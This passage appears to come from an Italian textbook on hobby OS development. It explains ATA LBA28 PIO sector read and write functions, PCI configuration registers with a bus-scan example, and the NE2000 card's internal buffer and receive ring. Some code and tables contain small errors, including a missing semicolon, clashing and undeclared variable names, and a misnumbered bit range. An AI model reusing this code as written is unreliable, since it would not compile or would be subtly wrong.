LBA low	Bit $bit_{24}..bit_{31}$							
LBA mid	Bit $bit_{32}..bit_{39}$							
LBA high	Bit $bit_{40}..bit_{48}$							
sector count	quantità di settori $bit_0..bit_7$							
LBA low	Bit $bit_0..bit_7$							
LBA mid	Bit $bit_8..bit_{15}$							
LBA high	Bit $bit_{16}..bit_{23}$							

In modalità LBA48, se si indica una quantità di settori pari a zero, si intendono invece 65536 settori.

108.9.10 Lettura LBA28 PIO

Viene proposto un esempio di funzione per la lettura di un settore, fornendo il numero del bus, del dispositivo all'interno del bus, il numero del settore (partendo da zero) e il puntatore all'inizio della memoria tampone che deve ricevere il settore. La funzione richiede ancora la verifica dei dati in ingresso e manca la possibilità di far scadere il ciclo di lettura del registro di stato nel caso in cui passasse troppo tempo.

La scrittura del registro ***device*** avviene per prima, per individuare subito il dispositivo e per consentire la scrittura successiva del registro ***control***, allo scopo di inibire una risposta tramite segnale di interruzione. Per il resto tutto procede come richiesto per il comando READ SECTORS.

```
int
read_sector (int bus, int drive, unsigned int sector, void *buffer)
{
    int            reg_device;
    int            reg_control;
    int            reg_feature;
    int            reg_count;
    int            reg_lba_low;
    int            reg_lba_mid;
    int            reg_lba_high;
    int            reg_command;
    int            reg_status;
    int            reg_data;
```

```
    unsigned char device;
    unsigned char lba_low;
    unsigned char lba_mid;
    unsigned char lba_high;
    unsigned char status;
    int           i;
    uint16_t     *destination = (uint16_t *) buffer;
    //
    switch (bus)
      {
        case 0:
            reg_device   = 0x1F6;
            reg_control  = 0x3F6;
            reg_feature  = 0x1F1;
            reg_count    = 0x1F2
            reg_lba_low  = 0x1F3;
            reg_lba_mid  = 0x1F4;
            reg_lba_high = 0x1F5;
            reg_command  = 0x1F7;
            reg_status   = 0x1F7;
            reg_data     = 0x1F0;
            break;
        case 1:
            …
            break;
        …
      }
    …
    // Preparazione e scrittura del registro «device». Nel registro
    // va specificato il fatto che si utilizza un accesso LBA, il
    // dispositivo e la parte più significativa dell'indirizzo LBA28.
    device = 0x00;
    device |= 0x40;                             // LBA.
    if (drive)
      {
        device |= 0x10;                         // Secondo dispositivo;
      }
    device |= ((sector & 0x0F000000) >> 24);
    outb (reg_device, device);
    // Registro «control», per disabilitare il segnale di interruzione.
    outb (reg_control, 0x02);
    // Registro «feature».
    outb (reg_feature, 0);
    // Registro «sector count»: si vuole leggere un solo settore.
    outb (reg_count, 1);
    // LBA low, mid e high.
    lba_low  = (sector & 0x000000FF);
```

```
    lba_mid  = ((sector & 0x0000FF00) >> 8);
    lba_high = ((sector & 0x00FF0000) >> 16);
    outb (reg_lba_low,  lba_low);
    outb (reg_lba_mid,  lba_mid);
    outb (reg_lba_high, lba_high);
    // Registro «command».
    outb (reg_command, 0x20);
    // Si attende che lo stato del dispositivo corrente
    // torni a essere pronto.
    status = inb (reg_status);
    while (status & 0x80)
      {
        // BSY
        status = inb (reg_status);
      }
    if (status & 0x21)
      {
        // DF o ERR.
        return -1;
      }
    //
    if (status & 0x08)
      {
        // DRQ: si procede alla lettura del settore.
        for (i = 0; i < 256; i++)
          {
            // Legge 16 bit dal registro «data».
            destination[i] = inw (reg_data);
          }
      }
    else
      {
        // Errore sconosciuto.
        return -1;
      }
    // Attesa ulteriore che l'unità sia di nuovo pronta.
    status = inb (reg_status);
    while (status & 0x80)
      {
        // BSY
        status = inb (reg_status);
      }
    if (status & 0x21)
      {
        // DF o ERR.
        return -1;
      }
```

```
    // Fine normale.
    return 0;
}
```

108.9.11 Scrittura LBA28 PIO

Viene proposto un esempio di funzione per la scrittura di un settore, fornendo il numero del bus, del dispositivo all'interno del bus, il numero del settore (partendo da zero) e il puntatore all'inizio della memoria tampone che contiene il settore da scrivere. La funzione è molto simile a quella proposta per la lettura e vengono omesse le porzioni uguali.

La differenza fondamentale sta nel fatto che, dopo la scrittura del settore (con l'aiuto della funzione ***outw()***), dopo aver verificato che il registro di stato segnala la conclusione corretta dell'operazione, va dato un comando di scarico della memoria trattenuta (*cache*).

```
int
write_sector (int bus, int drive, unsigned int sector, void *buffer)
{
    …
    uint16_t     *source = (uint16_t *) buffer;
    …
    …
    // Registro «command».
    outb (reg_command, 0x30);
    …
    if (status & 0x08)
      {
        // DRQ: si procede alla scrittura del settore.
        for (i = 0; i < 256; i++)
          {
            // Scrive 16 bit nel registro «data».
            outw (reg_data, source[i]);
          }
      }
    …
    // Quando il dispositivo torna a essere pronto, si dà
    // un comando di scarico della memoria trattenuta:
    // CACHE FLUSH. Il registro «device» contiene già
    // tutti i dati che servono e non c'è bisogno di aggiornarlo.
    outb (reg_command, 0xE7);
    // Si attende ancora che il dispositivo torni a essere
    // pronto, prima di concludere.
    status = inb (reg_status);
    while (status & 0x80)
      {
        // BSY
        status = inb (reg_status);
```

```
        }
      if (status & 0x21)
        {
          // DF o ERR.
          return -1;
        }
      // Fine normale.
      return 0;
  }
```

108.10 PCI

Il bus PCI (*Peripheral component interconnect*) si occupa di organizzare le risorse assegnate ai componenti a lui connessi, offrendo al programmatore le informazioni necessarie per accedervi. Tale organizzazione automatica avviene attraverso una procedura software, la quale però è già inclusa nel firmware degli elaboratori IBM AT.

Su un bus PCI possono essere connessi altri bus, sia per estenderlo, sia per permettere il collegamento con altri tipi di bus. Quando si deve accedere a un componente che si trova in un bus secondario, si creano delle complicazioni che qui non vengono considerate, limitando l'attenzione al caso in cui si gestiscano esclusivamente componenti PCI connessi direttamente al primo bus. Pertanto, con questa semplificazione, è sufficiente interrogare i registri del bus PCI per sapere quali dispositivi sono connessi e quali riferimenti servono per comunicare con loro.

Va tenuto in considerazione che tutta la gestione del bus PCI prevede che i dati contenuti in scalari interi siano organizzati in modalità *little endian*; pertanto, in un'architettura x86 non si creano problemi di conversione, ammesso che si rispetti la struttura prevista per questi valori.

108.10.1 Registri e porte

Per comunicare con il bus PCI, allo scopo di ottenere le informazioni che servono sul bus e sui componenti inseriti, si usano due porte di I/O. La prima, corrispondente all'indirizzo $0CF8_{16}$, serve per fornire delle coordinate, con cui individuare un registro accessibile attraverso la seconda, corrispondente all'indirizzo $0CFC_{16}$.

Indirizzo I/O	Accesso	Nome mnemonico	Descrizione
$0CF8_{16}$	32 bit	*address*	Scrivendo un valore a 32 bit, strutturato opportunamente, si individua un registro accessibile poi all'indirizzo *data*.
$0CFC_{16}$	32 bit	*data*	Si legge o si scrive un valore a 32 bit che costituisce l'informazione a cui puntano le coordinate fornite in precedenza attraverso l'indirizzo *address*.

Le informazioni che il bus PCI ha da offrire sono strutturate in «tabelle» (ma nella documentazione standard si parla di «intestazioni»), suddivise in registri da 32 bit, suddivisi a loro volta in campi non omogenei tra loro. L'accesso a queste tabelle avviene registro per registro, attraverso la porta $0CFC_{16}$ (*data*), ma per individuare il registro a cui si è interessati, prima di ciò occorre scrivere un valore appropriato nella porta $0CF8_{16}$ (*address*).

Per raggiungere un dato occorre conoscere il numero del bus, dell'alloggiamento e del registro.

108.10.2 Strutture dei dati

La figura successiva mostra le strutture in cui si articolano il selettore per individuare un registro e la tabella dei registri corrispondente (viene mostrata solo la tabella di tipo 00_{16}).

Figura 108.100. Selettore e tabella di tipo 00_{16}.

31	30–24	23–16	15–11	10–8	7–2	1–0
1	0 0 0 0 0 0 0					0 0
attivo	riservato	bus	dispositivo (alloggiamento)	funzione	registro	

registro	31–24	23–16	15–8	7–0
0	device id		vendor id	
1	status		command	
2	class code	subclass	prog if	revision id
3	BIST (built in self test)	MF, header type == 0	latency timer	cache line size
4	base address #0 (BAR0)			
5	base address #1 (BAR1)			
6	base address #2 (BAR2)			
7	base address #3 (BAR3)			
8	base address #4 (BAR4)			
9	base address #5 (BAR5)			
A	cardbus CIS pointer			
B	subsystem id		subsystem vendor id	
C	expansion ROM base address			
D	(riservato)			capabilities pointer
E	(riservato)			
F	max latency	min grant	interrupt PIN	interrupt line

Vengono proposte anche due strutture, in linguaggio C, per descrivere il selettore e la tabella di tipo 00_{16}.

Listato 108.101. Struttura del selettore. Il membro ***selector*** consente di azzerare velocemente tutto il selettore, senza dover intervenire sui singoli campi.

```
typedef union {
  uint32_t    selector;
  struct {
    uint32_t  zero      : 2,
              reg       : 6,
              function  : 3,
              slot      : 5,
              bus       : 8,
              reserved  : 7,
              enable    : 1;
  };
} pci_address_t;
```

Listato 108.102. Struttura della tabella di tipo 00_{16}. L'array ***r[16]*** consente di individuare facilmente un registro nel suo complesso.

```
typedef union {
  uint32_t r[16];
  struct {
    struct {
        uint32_t  vendor_id                : 16,
                  device_id                : 16;
        //
        uint32_t  command                  : 16,
                  status                   : 16;
        //
        uint32_t  revision_id              : 8,
                  prog_if                  : 8,
                  subclass                 : 8,
                  class_code               : 8;
        //
        uint32_t  cache_line_size          : 8,
                  latency_timer            : 8,
                  header_type              : 7,
                  multi_function           : 1,
                  bist                     : 8;
        //
        uint32_t  bar0;
        uint32_t  bar1;
        uint32_t  bar2;
        uint32_t  bar3;
        uint32_t  bar4;
        uint32_t  bar5;
        uint32_t  cardbus_cis_pointer;
        uint32_t  expansion_rom_base_address;
        //
        uint32_t  subsystem_vendor_id      : 16,
                  subsystem_id             : 16;
        //
        uint32_t  capabilities_pointer     : 8,
                  reserved_1               : 24;
        //
        uint32_t  reserved_2;
        //
        uint32_t  interrupt_line           : 8,
                  interrupt_pin            : 8,
                  min_grant                : 8,
                  max_latency              : 8;
    };
  };
} pci_header_type_00_t;
```

Tabella 108.103. Campi in cui si articola il selettore.

Bit	Denominazione	Descrizione
31	*enable*	Questo bit deve essere posto a uno.
30..24	*reserved*	Campo non utilizzato, da lasciare azzerato.
23..16	*bus*	Il numero del bus a cui si intende fare riferimento. Il primo bus è quello corrispondente al numero zero.
15..11	*device*	Il numero dell'alloggiamento all'interno del bus, a partire da zero.
10..8	*funzione*	Nel caso di un dispositivo che incorpora più funzioni (per esempio più interfacce di rete assieme), questo è il numero che consente di selezionare il componente singolo, ovvero la funzione singola, tra tutte quelle incorporate.
7..2 1..0	*register*	I bit 7..2 individuano il numero del registro relativo alla tabella (*header*) che raccoglie la configurazione del dispositivo selezionato. I primi due bit rimangono generalmente a zero, perché l'accesso alla tabella è a blocchi da 32 bit, ovvero 4 byte, pertanto non c'è motivo di raggiungere posizioni intermedie.

La tabella di tipo 00_{16}, a cui si fa riferimento qui, è quella che riguarda i dispositivi comuni. Hanno invece tabelle differenti i dispositivi che connettono assieme più bus, dello stesso tipo o di tipo differente. A ogni modo, per facilitare un po' le cose, i primi quattro registri di queste tabelle sono uguali in tutte le tipologie.

Tabella 108.104. Campi principali della tabella di tipo 00_{16}.

Registro	Bit	Denominazione	Descrizione
0_{16}	31..16	*device id*	Codice identificativo del tipo di dispositivo, stabilito dal costruttore.
0_{16}	15..0	*vendor id*	Codice identificativo del costruttore: se in questo campo si ottiene il valore $FFFF_{16}$, significa che il dispositivo non è presente nel bus e nell'alloggiamento cercato.
2_{16}	31..24 23..16 15..8	*class code* *subclass* *prog if*	Codice che descrive la classe, la sottoclasse e la funzione del dispositivo (tabella 108.107).
3_{16}	23	*multi function*	Se questo bit è a uno, significa che il dispositivo è multifunzione.
3_{16}	22..16	*header type*	Codice che descrive la struttura della tabella: 00_{16} indica quella di un dispositivo normale, 01_{16} riguarda un ponte tra bus PCI e 02_{16} riguarda un ponte verso unità cardbus.
$4_{16}..9_{16}$	31..0	*BAR0* *BAR1* *BAR2* *BAR3* *BAR4* *BAR5*	Si tratta di indirizzi che rappresentano un riferimento nella memoria o negli indirizzi di I/O. Con i dispositivi a cui si accede attraverso un indirizzo IRQ e un solo indirizzo I/O, BAR0 corrisponde all'indirizzo di I/O. Tuttavia, il valore contenuto in questi registri va interpretato e non si può usare tale e quale, come appare (figura 108.105).

Registro	Bit	Denominazione	Descrizione
F_{16}	7..0	*Interrupt line*	Si tratta del numero di IRQ usato dal dispositivo, ma se si ottiene il valore FF_{16}, vuol dire che il dispositivo non utilizza un IRQ.

Figura 108.105. Interpretazione di un indirizzo contenuto in un campo BAR***n***. Si osserva che il bit meno significativo consente di capire se si tratta di un indirizzo in memoria o di una porta di I/O.

indirizzo in memoria

32 4 3 2 1 0

0

indirizzo / 16

prefetchable

tipo:

00 indirizzo normale a 32 bit
01 indirizzo al di sotto di 1 Mibyte
10 indirizzo a 64 bit
11 riservato

porta di I/O

32 2 1 0

1

porta / 4

riservato

Tabella 108.106. Interpretazione della classe del dispositivo (*class code*).

class code	Definizione	*class code*	Definizione
00_{16}	dispositivo realizzato prima della definizione delle classi	01_{16}	memoria di massa
02_{16}	dispositivo di rete	03_{16}	dispositivo di visualizzazione
04_{16}	dispositivo multimediale	05_{16}	memoria
06_{16}	ponte (connessione con altri bus)	07_{16}	porta seriale
08_{16}	dispositivo di sistema	09_{16}	dispositivo di ingresso
$0A_{16}$	*docking stations*	$0B_{16}$	microprocessore
$0C_{16}$	bus seriale	$0D_{16}$	dispositivo senza fili
$0E_{16}$	dispositivo di I/O intelligente	$0F_{16}$	comunicazione satellitare
10_{16}	dispositivo crittografico	11_{16}	acquisizione dati ed elaborazione dei segnali
12_{16}..FE_{16}	riservato	FF_{16}	dispositivo diverso dalle classi esistenti

Tabella 108.107. Interpretazione completa della classe, sottoclasse e interfaccia di programmazione.

class code	*subclass*	*prog if*	Descrizione
00_{16}	dispositivo realizzato prima della definizione delle classi	01_{16}	memoria di massa

class code	*subclass*	*prog if*	Descrizione
00_{16}	00_{16}	00_{16}	dispositivo non meglio precisato, escludendo però il caso di un dispositivo VGA
00_{16}	01_{16}	00_{16}	VGA e compatibili
01_{16}	00_{16}	00_{16}	SCSI
01_{16}	01_{16}	$--_{16}$	IDE
01_{16}	02_{16}	00_{16}	unità a dischetti
01_{16}	03_{16}	00_{16}	IPI
01_{16}	04_{16}	00_{16}	RAID
01_{16}	05_{16}	20_{16}	PATA, DMA singolo
01_{16}	05_{16}	30_{16}	PATA, DMA concatenato
01_{16}	06_{16}	00_{16}	SATA
01_{16}	80_{16}	00_{16}	memoria di massa diversa
02_{16}	00_{16}	00_{16}	Ethernet
02_{16}	01_{16}	00_{16}	Token Ring
02_{16}	02_{16}	00_{16}	FDDI
02_{16}	03_{16}	00_{16}	ATM
02_{16}	04_{16}	00_{16}	ISDN
02_{16}	05_{16}	00_{16}	WorldFip
02_{16}	06_{16}	--	PICMG 2.14 Multi Computing
02_{16}	80_{16}	00_{16}	interfaccia di rete diversa
03_{16}	00_{16}	00_{16}	VGA
03_{16}	00_{16}	01_{16}	8512
03_{16}	01_{16}	00_{16}	XGA
03_{16}	02_{16}	00_{16}	3D (non VGA)
03_{16}	80_{16}	00_{16}	interfaccia video-grafica diversa
04_{16}	00_{16}	00_{16}	Video multimediale
04_{16}	01_{16}	00_{16}	Audio multimediale
04_{16}	02_{16}	00_{16}	Computer Telephony
04_{16}	80_{16}	00_{16}	interfaccia multimediale diversa
05_{16}	00_{16}	00_{16}	RAM
05_{16}	01_{16}	00_{16}	Flash
05_{16}	80_{16}	00_{16}	interfaccia di memoria diversa
06_{16}	00_{16}	00_{16}	Host Bridge
06_{16}	01_{16}	00_{16}	ISA Bridge
06_{16}	02_{16}	00_{16}	EISA Bridge
06_{16}	03_{16}	00_{16}	MCA Bridge
06_{16}	00_{16}	00_{16}	PCI-to-PCI Bridge
06_{16}	00_{16}	01_{16}	PCI-to-PCI Bridge (Subtractive Decode)
06_{16}	05_{16}	00_{16}	PCMCIA Bridge
06_{16}	06_{16}	00_{16}	NuBus Bridge
06_{16}	07_{16}	00_{16}	CardBus Bridge
06_{16}	08_{16}	$--_{16}$	RACEway Bridge
06_{16}	09_{16}	40_{16}	PCI-to-PCI Bridge (Semi-Transparent, Primary)
06_{16}	09_{16}	80_{16}	PCI-to-PCI Bridge (Semi-Transparent, Secondary)
06_{16}	$0A_{16}$	00_{16}	InfiniBrand-to-PCI Host Bridge
06_{16}	80_{16}	00_{16}	interfaccia di connessione ad altri bus, diversa dai tipi previsti
07_{16}	00_{16}	00_{16}	porta seriale XT
07_{16}	00_{16}	01_{16}	porta seriale 16450
07_{16}	00_{16}	02_{16}	porta seriale 16550

class code	*subclass*	*prog if*	Descrizione
07_{16}	00_{16}	03_{16}	porta seriale 16650
07_{16}	00_{16}	04_{16}	porta seriale 16750
07_{16}	00_{16}	05_{16}	porta seriale 16850
07_{16}	00_{16}	06_{16}	porta seriale 16950
07_{16}	01_{16}	00_{16}	porta parallela
07_{16}	01_{16}	01_{16}	porta parallela bidirezionale
07_{16}	01_{16}	02_{16}	ECP 1.X
07_{16}	01_{16}	03_{16}	IEEE 1284
07_{16}	01_{16}	FE_{16}	IEEE 1284
07_{16}	02_{16}	00_{16}	unità seriale multipla
07_{16}	03_{16}	00_{16}	modem generico
07_{16}	03_{16}	01_{16}	modem Hayes 16450
07_{16}	03_{16}	02_{16}	modem Hayes 16550
07_{16}	03_{16}	03_{16}	modem Hayes 16650
07_{16}	03_{16}	04_{16}	modem Hayes 16750
07_{16}	04_{16}	00_{16}	IEEE 488.1/2 (GPIB)
07_{16}	05_{16}	00_{16}	Smart Card
07_{16}	80_{16}	00_{16}	interfaccia di comunicazione diversa
08_{16}	00_{16}	00_{16}	8259 PIC
08_{16}	00_{16}	01_{16}	ISA PIC
08_{16}	00_{16}	02_{16}	EISA PIC
08_{16}	00_{16}	10_{16}	I/O APIC
08_{16}	00_{16}	20_{16}	I/O(x) APIC
08_{16}	01_{16}	00_{16}	8237 DMA
08_{16}	01_{16}	01_{16}	ISA DMA
08_{16}	01_{16}	02_{16}	EISA DMA
08_{16}	02_{16}	00_{16}	8254 System Timer
08_{16}	02_{16}	01_{16}	ISA System Timer
08_{16}	02_{16}	02_{16}	EISA System Timer
08_{16}	03_{16}	00_{16}	RTC generico
08_{16}	03_{16}	01_{16}	ISA RTC
08_{16}	04_{16}	00_{16}	unità PCI Hot-Plug generica
08_{16}	80_{16}	00_{16}	dispositivo di sistema diverso
09_{16}	00_{16}	00_{16}	tastiera
09_{16}	01_{16}	00_{16}	*digitizer*
09_{16}	02_{16}	00_{16}	mouse
09_{16}	03_{16}	00_{16}	scanner
09_{16}	04_{16}	00_{16}	gameport
09_{16}	04_{16}	10_{16}	gameport
09_{16}	80_{16}	00_{16}	interfaccia di input diversa
$0A_{16}$	00_{16}	00_{16}	Docking Station
$0A_{16}$	80_{16}	00_{16}	Docking Station diversa
$0B_{16}$	00_{16}	00_{16}	CPU 386
$0B_{16}$	01_{16}	00_{16}	CPU 486
$0B_{16}$	02_{16}	00_{16}	CPU Pentium
$0B_{16}$	10_{16}	00_{16}	CPU Alpha
$0B_{16}$	20_{16}	00_{16}	CPU PowerPC
$0B_{16}$	30_{16}	00_{16}	CPU MIPS
$0B_{16}$	40_{16}	00_{16}	coprocessore
$0C_{16}$	00_{16}	00_{16}	IEEE 1394 (FireWire)
$0C_{16}$	00_{16}	10_{16}	IEEE 1394 (1394 OpenHCI Spec)
$0C_{16}$	01_{16}	00_{16}	ACCESS.bus
$0C_{16}$	02_{16}	00_{16}	SSA

class code	*subclass*	*prog if*	Descrizione
$0C_{16}$	03_{16}	00_{16}	USB (Universal Host)
$0C_{16}$	03_{16}	10_{16}	USB (Open Host)
$0C_{16}$	03_{16}	20_{16}	USB2 Host (Intel Enhanced Host Controller Interface)
$0C_{16}$	03_{16}	80_{16}	USB
$0C_{16}$	03_{16}	FE_{16}	USB (Not Host Controller)
$0C_{16}$	04_{16}	00_{16}	Fibre Channel
$0C_{16}$	05_{16}	00_{16}	SMBus
$0C_{16}$	06_{16}	00_{16}	InfiniBand
$0C_{16}$	07_{16}	00_{16}	IPMI SMIC
$0C_{16}$	07_{16}	01_{16}	IPMI Kybd
$0C_{16}$	07_{16}	02_{16}	IPMI Block Transfer
$0C_{16}$	08_{16}	00_{16}	SERCOS (IEC 61491)
$0C_{16}$	09_{16}	00_{16}	CANbus
$0D_{16}$	00_{16}	00_{16}	iRDA
$0D_{16}$	01_{16}	00_{16}	Consumer IR
$0D_{16}$	10_{16}	00_{16}	RF Controller
$0D_{16}$	11_{16}	00_{16}	Bluetooth
$0D_{16}$	12_{16}	00_{16}	Broadband
$0D_{16}$	20_{16}	00_{16}	Ethernet WiFi (802.11a)
$0D_{16}$	21_{16}	00_{16}	Ethernet WiFi (802.11b)
$0D_{16}$	80_{16}	00_{16}	interfaccia di rete senza fili, diversa da quelle previste
$0E_{16}$	00_{16}	--	I20 Architecture
$0E_{16}$	00_{16}	00_{16}	Message FIFO
$0F_{16}$	01_{16}	00_{16}	TV
$0F_{16}$	02_{16}	00_{16}	Audio
$0F_{16}$	03_{16}	00_{16}	Voice
$0F_{16}$	04_{16}	00_{16}	Data
10_{16}	00_{16}	00_{16}	Network and Computing Encryption/Decryption
10_{16}	10_{16}	00_{16}	Entertainment Encryption/Decryption
10_{16}	80_{16}	00_{16}	Other Encryption/Decryption
11_{16}	00_{16}	00_{16}	DPIO Modules
11_{16}	01_{16}	00_{16}	Performance Counters
11_{16}	10_{16}	00_{16}	Communications Syncronization Plus Time and Frequency Test/Measurement
11_{16}	20_{16}	00_{16}	Management Card
11_{16}	80_{16}	00_{16}	interfaccia di acquisizione dati o di elaborazione dei segnali, diversa da quelle previste

108.10.3 Raccolta delle informazioni

Per raccogliere le informazioni sui dispositivi connessi a un bus PCI, occorre predisporre un selettore. Per esempio, utilizzando una variabile strutturata di tipo '`pci_address_t`' si potrebbe richiedere di accedere al bus ***b***, al dispositivo ***s*** (*slot*), alla funzione ***f*** e al registro ***r***:

```
int           b;
int           s;
int           f;
int           r;
pci_address_t pci_addr;
uint32_t      reg;
<synellipsis>
pci_addr.selector   = 0;
pci_addr.enable     = 1;
pci_addr.bus        = b;
pci_addr.slot       = s;
pci_addr.function   = f;
pci_addr.reg        = r;
out_32 (0x0CF8, pci_addr.selector);
reg = in_32 (0x0CFC);
```

Nell'esempio, le funzioni ***out_32()*** e ***in_32()*** utilizzano in pratica le istruzioni '**`OUTL`**' e '**`INL`**' del linguaggio assemblatore (si vedano eventualmente i listati 119.6, 119.6.4 e 119.6.1). Alla fine, la variabile ***reg*** raccoglie il contenuto del registro selezionato.

Per scandire un bus PCI è possibile procedere provando tutte le combinazioni di bus, alloggiamento e funzione, verificando che il primo registro sia diverso da $0xFFFFFFFF_{16}$. Se è così si può raccogliere il contenuto della tabella corrispondente. Nell'esempio seguente si scandiscono tutti i bus PCI, ignorando i dispositivi di classe 06_{16}, raccogliendo alcuni dati dei dispositivi validi in un array con elementi di tipo '**`struct pci`**'. Si esclude che si possano incontrare dispositivi con più funzioni; inoltre si ritiene di incontrare soltanto dispositivi che contengono nel campo ***BAR0*** una porta di I/O.

```
struct {
      unsigned char      bus;
      unsigned char      slot;
      unsigned short int vendor_id;
      unsigned short int device_id;
      unsigned char      class_code;
      unsigned char      subclass;
      unsigned char      prog_if;
      uintptr_t          base_io;
      unsigned char      irq;
  } pci[8];
pci_header_type_00_t pci;
pci_address_t        pci_addr;
//
int t;        // PCI table index.
int b;        // PCI bus index.
int s;        // PCI slot index.
int r;        // PCI header register index.
//
// Reset the PCI table.
//
```

```
    for (t = 0; t < 8; t++)
      {
        pci_table[t].bus        = 0;
        pci_table[t].slot       = 0;
        pci_table[t].vendor_id  = 0;
        pci_table[t].device_id  = 0;
        pci_table[t].class_code = 0;
        pci_table[t].subclass   = 0;
        pci_table[t].prog_if    = 0;
        pci_table[t].base_io    = 0;
        pci_table[t].irq        = 0;
      }
    //
    // Scan PCI buses and slots.
    //
    t = 0;
    //
    for (b = 0; b < 256 && t < 8; b++)
      {
        for (s = 0; s < 32 && t < 8; s++)
          {
            pci_addr.selector   = 0;
            pci_addr.enable     = 1;
            pci_addr.bus        = b;
            pci_addr.slot       = s;
            //
            pci_addr.reg        = 0;
            out_32 (0x0CF8, pci_addr.selector);
            pci.r[0] = in_32 (0x0CFC);
            //
            if (pci.r[0] == 0xFFFFFFFF)
              {
                //
                // There is no such bus:slot combination!
                //
                continue;
              }
            else
              {
                for (r = 1; r < 16; r++)
                  {
                    pci_addr.reg        = r;
                    out_32 (0x0CF8, pci_addr.selector);
                    pci.r[r] = in_32 (0x0CFC);
                  }
              }
            //
```

```
            // We consider only PCI header type 0x00!
            //
            if (pci.header_type != 0)
              {
                continue;
              }
            //
            // We do not consider PCI bridge devices!
            //
            if (pci.class_code == 0x06)
              {
                continue;
              }
            //
            // Save the device inside the PCI table.
            //
            pci_table[t].bus        = b;
            pci_table[t].slot       = s;
            pci_table[t].vendor_id  = pci.vendor_id;
            pci_table[t].device_id  = pci.device_id;
            pci_table[t].class_code = pci.class_code;
            pci_table[t].subclass   = pci.subclass;
            pci_table[t].prog_if    = pci.prog_if;
            pci_table[t].base_io    = pci.bar0 & 0xFFFFFFFC;
            pci_table[t].irq        = pci.interrupt_line;
            //
            // Next PCI table row.
            //
            t++;
          }
      }
```

Come si può osservare, la presunta porta di I/O viene filtrata con una maschera, in modo da azzerare i due bit meno significativi:

```
    pci_table[t].base_io = pci.bar0 & 0xFFFFFFFC;
```

Al termine della scansione, la combinazione dei codici identificativi del produttore e del dispositivo, permettono di sapere di che cosa si tratta, disponendo naturalmente di un elenco appropriato. Per esempio, il produttore $10EC_{16}$ corrisponde a Realtek Semiconductor, mentre il dispositivo 8029_{16} (relativo a tale produttore) corrisponde a un'interfaccia di rete RT8029, compatibile con la vecchia NE2000.

108.11 NE2000

Le interfacce di rete NE2000 hanno delle limitazioni significative e sono complesse da programmare. Tuttavia, questo tipo di dispositivo è quello più facilmente disponibile negli emulatori, per esempio è presente sia in Bochs, sia in Qemu, pertanto diventa una scelta obbligata, almeno inizialmente.

Le annotazioni fatte qui, a proposito delle interfacce di rete NE2000, sono insufficienti per una gestione completa di tali unità. Eventualmente si possono consultare due schede tecniche, citate anche alla fine del capitolo: *DP8390D/NS32490D NIC network interface controller* e *Writing drivers for DP8390 NIC family of ethernet controllers*.

108.11.1 Memoria interna

Un aspetto importante della programmazione dell'interfaccia di rete NE2000 riguarda la memoria interna, complessivamente di 64 Kibyte, entro la quale va individuata una porzione per i pacchetti da trasmettere (in questo contesto sono più precisamente trame) e un'altra per la coda di ricezione. Per accedere a questa memoria, sia in scrittura, sia in lettura, occorrono dei comandi opportuni, per poi eseguire l'operazione attraverso una porta di I/O.

La memoria interna è organizzata a blocchi da 256 byte (100_{16}), perché alcuni registri usati come puntatori possono farvi riferimento, disponendo solo di 8 bit.

La porzione iniziale di questa memoria contiene delle informazioni importanti sull'interfaccia; in particolare è annotato lì l'indirizzo Ethernet attribuito dal costruttore. Va osservato che la porzione utile per la collocazione dei pacchetti da trasmettere o da ricevere va dall'indirizzo 4000_{16} a $BFFF_{16}$ (estremi inclusi); il resto deve essere lasciato alla gestione interna dell'interfaccia.

Figura 108.111. Organizzazione della memoria tampone interna di un'interfaccia di rete NE2000.

indirizzo Ethernet raddoppiato:
00:23:8B:8F:40:8A

0000_{16} → 00 00 23 23 8B 8B 8F 8F 40 40 8A 8A 57 57 57 57 ...
0100_{16} → FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ...
FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ...
⋮
FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ...
FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ...
4000_{16} → 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...
⋮
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...
$C000_{16}$ → FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ...
FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ...
⋮
FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ...
$FF00_{16}$ → FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ...

blocco utilizzabile per la trasmissione
e la ricezione dei pacchetti

Per un'interfaccia di rete NE2000, il contenuto di un pacchetto, esclusa l'intestazione Ethernet, può andare da un minimo di 46 byte a un massimo di 1 500 byte. Data l'organizzazione della memoria interna dell'interfaccia, un pacchetto utilizza da uno a sei blocchi da 256 byte (se un pacchetto è molto breve, utilizza ugualmente un blocco intero di memoria).

108.11.2 Coda di ricezione

Quando l'interfaccia di rete riceve un pacchetto, lo colloca in una porzione della propria memoria tampone, organizzata in forma di coda, a blocchi di 256 byte. Questa porzione di memoria viene chiamato «anello», perché una volta raggiunto l'ultimo blocco, si riprende dal primo.

Figura 108.112. Esempio di coda per la ricezione dei pacchetti, dal byte 4600_{16} al $BFFF_{16}$, ovvero dal blocco 46_{16} al BF_{16}.

PSTART BNRY CURR PSTOP

256 byte

blocco 46_{16}
indirizzo 4600_{16}

blocco $C0_{16}$
indirizzo $C000_{16}$

La zona di memoria da usare per la coda è delimitata dal valore di due registri, ***PSTART*** (*page start*) e ***PSTOP*** (*page stop*). Seguendo l'esempio che si vede nella figura, ***PSTART*** contiene il valore 46_{16}, mentre $PSTOP_{16}$ ha il valore $C0_{16}$.

Mano a mano che la scrittura nella coda procede, viene incrementato un indice rappresentato dal registro ***CURR*** (*current page*), il quale rappresenta il prossimo blocco di memoria da utilizzare per la scrittura. Nell'esempio, il registro ***CURR*** contiene il valore BE_{16}, corrispondente al penultimo blocco.

Per la lettura dei blocchi si usa l'indice rappresentato dal registro ***BNRY*** (*boundary pointer*), il quale si riferisce al prossimo blocco ancora da leggere. La lettura dei blocchi si deve arrestare quando l'indice ***BNRY*** raggiunge l'indice ***CURR***; per converso, la ricezione dei pacchetti si deve arrestare quando l'indice ***CURR*** raggiunge l'indice ***BNRY***, anche se ciò comporta la perdita di pacchetti.

